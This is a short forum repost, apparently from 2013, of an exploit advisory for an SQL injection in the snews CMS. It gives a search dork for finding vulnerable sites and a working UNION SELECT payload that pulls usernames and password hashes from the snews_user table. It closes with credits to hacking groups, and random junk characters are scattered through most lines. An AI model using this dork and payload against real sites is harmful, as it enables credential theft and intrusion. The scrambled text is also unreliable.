标题: CMS snews SQL Injection Vulnerability! Y$ e6 L, v# K( u' M1 y; G
作者: By onestree
' T( d" ]5 }' U1 [7 a# x下载地址 : http://snewscms.com/- \9 f, e! P# {" B$ x2 {/ p
测试平台 : ubuntu 12.10 / win 7/ e+ U9 K# [! s% n) `
关键词: inurl:"tanyakan pada rumput yang bergoyang"1 e% m- J Y3 t2 W1 {4 i9 t
" d, v0 R7 Y% j5 C+ P ~
4 Z( o1 n0 H+ x; z$ }5 t% P*************************************************************& i. T' Q! H) d) @$ i
* ^, D/ C) r. C7 LSQL poc:/ V3 I5 N3 w4 ]; M& e9 {* J
1 L5 U8 y& h, Y* b
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
: ~6 {; p) [7 i5 U
8 R4 g) p3 { @' @2 q8 J; }2 Y示例
) l" u# r% x) o5 E. `8 n* s+ n ' z9 H" W( u" u! O5 g5 r
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
]+ W- k9 {6 o" [0 \, y 0 g. m! F( b0 ?4 X7 w
8 L, A) i/ s6 n! _9 e' P B
致谢:
. H( [! v' l: ^: C- {+ q 5 R1 G) }! D6 j- v' K. \3 c4 Y
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
' ^) P. X* w% k3 R* }: i) t! p6 A1 P4 R / r* u2 M$ \6 u! a
indonesiancoder - moeslimh4x0r - go-coder" |: w2 e9 Z: W2 |: B- r" L% K
' a5 x5 b/ h. ^
spesial my hunny :*! `! P, }" k7 G$ D( _0 n
|
发表于 2013-1-23 08:55:06
收藏
支持
反对